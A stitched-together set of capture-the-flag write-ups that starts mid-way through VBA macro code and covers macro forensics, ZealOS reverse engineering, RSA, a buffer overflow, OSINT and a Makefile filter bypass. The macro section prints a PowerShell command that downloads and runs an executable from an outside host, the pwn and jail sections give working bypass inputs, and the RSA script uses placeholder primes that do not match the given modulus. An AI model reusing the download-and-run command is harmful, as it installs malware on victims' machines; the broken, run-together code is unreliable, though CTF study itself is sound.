'Retval = Shell(f, 0)'Dim URL As String'URL = "https://www.youtube.com/watch?v=mYiBdMnIT88"'ActiveWorkbook.FollowHyperlink URL
Sheets("Deals").Range("B20").Value = f```
After running the |
macro we see Get the powershell script (formatting for easier reading)
```powershellpoWeRsHELL -command "$oaK = new-object Net.WebClient;$OrA = 'http://fruit.gang/malware';$CNTA = 'banANA-Hakrz09182afd4';$jri=$env:public+'\'+$CNTA+'.exe';try{$oaK.DownloadFile($OrA, $jri);Invoke-Item $jri;break;} catch {}"```
`banANA-Hakrz09182afd4.exe` is the flag
FLAG: `utflag{banANA-Hakrz09182afd4.exe}` |
# UnholyEXE
Remember, Terry zealously blessed the PCNet driver.
### Resources Used
[ZealOS-wiki](https://zeal-operating-system.github.io/ZealOS-wiki/)
[ZealOS Discord](https://discord.gg/rK6U3xdr7D)
[Running the ZealOS Gopher Browser (Virtual Box only) - YouTube](https://www.youtube.com/watch?v=eFaMYuggM80)
[ZealOS Documentation](https://zeal-operating-system.github.io/)
### Tools Used
[ImHex](https://github.com/WerWolv/ImHex)
[Ghidra](https://ghidra-sre.org/)
[VirtualBox](https://www.virtualbox.org/)
[ImDisk](https://sourceforge.net/projects/imdisk-toolkit/)
I began by downloading and viewing the `chal.bin` file in a hex editor. Inspecting the contents, I noticed some strings related to networking, such |
as `Trying to accept a connection`. In addition, there were some strings that seemed to be type or function names, like `DCDel` and `_CLAMP_I64`. Using Github search for these strings, many of the results were related to TempleOS, such as Shrine or TinkerOS. After viewing some of these projects, based on the hint text, I decided ZealOS was the right choice to keep looking at, due to its networking support and name.
In the meantime, I loaded `chal.bin` into Ghidra, but the current decompilation result was meaningless.
I installed ZealOS through VirtualBox.
My instinct was to try to get the `chal.bin` binary into ZealOS and run it there. I initially thought that I might be able to redownload `chal.bin` from the CTF page directly in ZealOS. I joined the ZealOS Discord to try and get |
more information about how networking is performed.
As a fun note, I found the challenge creator's [blog post](https://retu2libc.github.io/posts/aot-compiling-zealc.html) discussing some of the steps they took to create the challenge. Based on this information, the binary file was a `.ZXE` file, which is the pre-compiled executable for ZealOS, which matched with the magic number visible within the file.
To setup networking within ZealOS, I needed to navigate to the `~/Net` folder and System Include the `Start.ZC` script. Although I was using the PCNet driver within VirtualBox (which seemed to be the default option), networking was not working.
However |
, I learned how to access the ZealOS filesystem from within my host OS. To open the ZealOS filesystem, I used the Mount Image application from ImDisk. Once mounted, I renamed `chal.bin` as `Chal.ZXE`, moved it into the filesystem, and unmounted the filesystem.
(In the screenshot, 2 filesystems are visible. I wasn't sure which to use, so I just moved `Chal.ZXE` into both of them.)
Then, I could reboot into ZealOS and run the pre-compiled binary with `Load("Chal.ZXE");` while in the same directory as the file:
I needed to include the network `Start.ZC` so that all the functions names |
were known, but networking still didn't work:
However, I could "inject" my own versions of the TCPSocketReceive to "receive" whatever network data I wanted. I wrote `Inject.ZC` to replace the networking functions with my own. After trying to accept a connection for some time, and presumably timing out, it would receive data from the injected function. But, sending data resulted in garbage:
Some characters of the flag, such as `wctf{...}` seemed recognizable as a flag, so I certainly felt like I was making progress.
At this point, I needed to be able to decompile the binary to reverse engineer it and understand what was going on. From browsing Discord, I learned about the `ZXERep` function, |
which outputs information about `.ZXE` binaries:
I chose to look at `ZXERep` to learn about the file format for `ZXE` executables. Essentially, the executable begins with some header information, which includes pointers to tables that specify how patch in functions.
I wanted to be able to get a nice decompilation from Ghidra to easily see what was going on. I spent a significant amount of time manually patching the binary within Ghidra to achieve this. To do this, I created a dummy memory block that would contain all the external referenced functions by using Ghidra's Memory Map feature.
I created all the external functions in this memory block:
Then, I manually patched all the branch instructions to the correct function, as specified by the `ZXE` format.
Finally, I modified the calling convention for multiple functions.
The result was a very nice decompilation that was obviously drawing something on the screen.
The resulting Ghidra program is provided with this writeup (`chal.gzf`).
Initially, I was trying to input the flag |
into the network input (beginning the input with `w`, `c`, `t`, `f`, `{`, ...), but that was still giving messy output. I also injected a random function that would always return 0 to see if that would give readable results. I ended up trying to input the numbers that were XORed within the decompilation, and that resulted in a very clean output. The final `Inject.ZC` is provided with this writeup.
`wctf{rip_T3rry_D4v1s |
}` |
## ROSSAU- Tags: crypto- Author: BrokenAppendix- Description: My friend really likes sending me hidden messages, something about a public key with n = 5912718291679762008847883587848216166109 and e = 876603837240112836821145245971528442417. What is the name of player with the user ID of the private key exponent? (Wrap with osu{})- Link to the question: none.
## Solution- This question is interesting too. We have to find the private key exponent. To find the private key exponent (d) from a given public key (n, e), you typically need additional information, such as the prime factors of n. The public key consists of the modulus (n) and the public exponent (e), while the private key includes the modulus (n) and the private exponent (d).- We can write a Python script to do this:
```from |
Crypto.PublicKey import RSAfrom Crypto.Util.number import inverse
n = 5912718291679762008847883587848216166109e = 876603837240112836821145245971528442417
p = 123456789q = 478945321
phi_n = (p - 1) * (q - 1)
d = inverse(e, phi_n)
private_key = RSA.construct((n, e, d, p, q))
print(private_key.export_key())```
- There we will find the value of "phi" and then we will inverse it to construct the private key exponent and get the number that will be an ID for user's profile.- We can enter it in the ```osu.ppy.sh``` URL:
```https://osu.ppy.sh/ |
users/private-key-exponent-value```
- There you will user's name and you can enter it in a flag.
```osu{user_name}``` |
## babypwn- Tags: pwn- Description: Just a little baby pwn. nc babypwn.wolvctf.io 1337
## Solution- To solve this question you need to download the following files and open the source code. You will see the following:
```#include <stdio.h>#include <string.h>#include <unistd.h>
struct __attribute__((__packed__)) data { char buff[32]; int check;};
void ignore(void){ setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0);}
void get_flag(void){ char flag[1024] = { 0 }; FILE *fp = fopen("flag.txt", "r"); fgets(flag, 1023, fp); printf(flag);}
int main(void) { struct data name; ignore(); /* ignore this function */
printf("What's your name?\n"); fgets(name.buff, 6 |
4, stdin); sleep(2); printf("%s nice to meet you!\n", name.buff); sleep(2); printf("Binary exploitation is the best!\n"); sleep(2); printf("Memory unsafe languages rely on coders to not make mistakes.\n"); sleep(2); printf("But I don't worry, I write perfect code :)\n"); sleep(2);
if (name.check == 0x41414141) { get_flag(); }
return 0;}```
- The struct data allocates 32 bytes for buffer and 8 bytes for the check. However, fgets reads in 64 bytes from the standard input into name.buff. Since check is after buffer on the stack, we can perform a buffer overflow by sending 32 random bytes and then 4 bytes of AAAA to pass the check in the code (A = 0x41).- The payload is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA- After some time we will get the flag.
```wctf{pwn_1s_th3_ |
best_Categ0ry!}``` |
## WOLPHV I: Reconnaissance- Tags: OSINT- Description: A new ransomware group you may have heard about has emerged: WOLPHV. There's already been reports of their presence in articles and posts. NOTE: Wolphv's twitter/X account and https://wolphv.chal.wolvsec.org/ are out of scope for all these challenges. Any flags found from these are not a part of these challenges. This is a start to a 5 part series of challenges. Solving this challenge will unlock WOLPHV II: Infiltrate.
## Solution- Use Google to find the tweet about this. The query for the search is "wolphv". https://twitter.com/FalconFeedsio/status/1706989111414849989 (tweet)- Scrolling down, we find a reply from user @JoeOsint__
```woah!!! we need to investigate thisd2N0Znswa18xX2QwblRfdGgxTmtfQTFfdzFsb |
F9yM1BsNGMzX1VzX2YwUl80X2wwbmdfdDFtZX0=```
- This is a Base64 string, after decoding it, we get:
```wctf{0k_1_d0nT_th1Nk_A1_w1ll_r3Pl4c3_Us_f0R_4_l0ng_t1me}``` |
## Made Sense- Tags: Misc, Makekjail, Jail- Description: i couldn't log in to my server so my friend kindly spun up a server to let me test makefiles. at least, they thought i couldn't log in :P
## Solution- When we visit that website, we can see there a link to source code of it.
```import osfrom pathlib import Pathimport reimport subprocessimport tempfile
from flask import Flask, request, send_file
app = Flask(__name__)flag = open('flag.txt').read()
def write_flag(path): with open(path / 'flag.txt', 'w') as f: f.write(flag)
def generate_makefile(name, content, path): with open(path / 'Makefile', 'w') as f: f.write(f"""SHELL := /bin/bash.PHONY: {name}{name}: flag.txt\t{content}""")
@app.route('/', methods=['GET'])def index(): return send_file('index.html')
@app.route('/ |
src/', methods=['GET'])def src(): return send_file(__file__)
# made sense@app.route('/make', methods=['POST'])def make(): target_name = request.form.get('name') code = request.form.get('code')
print(code) if not re.fullmatch(r'[A-Za-z0-9]+', target_name): return 'no' if '\n' in code: return 'no' if re.search(r'flag', code): return 'no'
with tempfile.TemporaryDirectory() as dir: run_dir = Path(dir) write_flag(run_dir) generate_makefile(target_name, code, run_dir) sp = subprocess.run(['make'], capture_output=True, cwd=run_dir) return f"""<h1>stdout:</h1>{sp.stdout}<h1>stderr:</h1>{sp.stderr} """
app.run('localhost', 8000)```
- This code |
below is used to check what we are entering to create a Makefile.
```if not re.fullmatch(r'[A-Za-z0-9]+', target_name): return 'no'if '\n' in code: return 'no'if re.search(r'flag', code): return 'no'```
- We can't enter "flag" and we have to bypass this system to get the flag. First, what's comes to mind: enter some random letters into the "Target name" field. Then, we can bypass the check, by entering this command.
```cat *.txt```
- This will open all the files within the directory. We don't explicitly enter "flag.txt", so the website is not yelling at us. There you will find a flag.
```wctf{m4k1ng_vuln3r4b1l1t135}``` |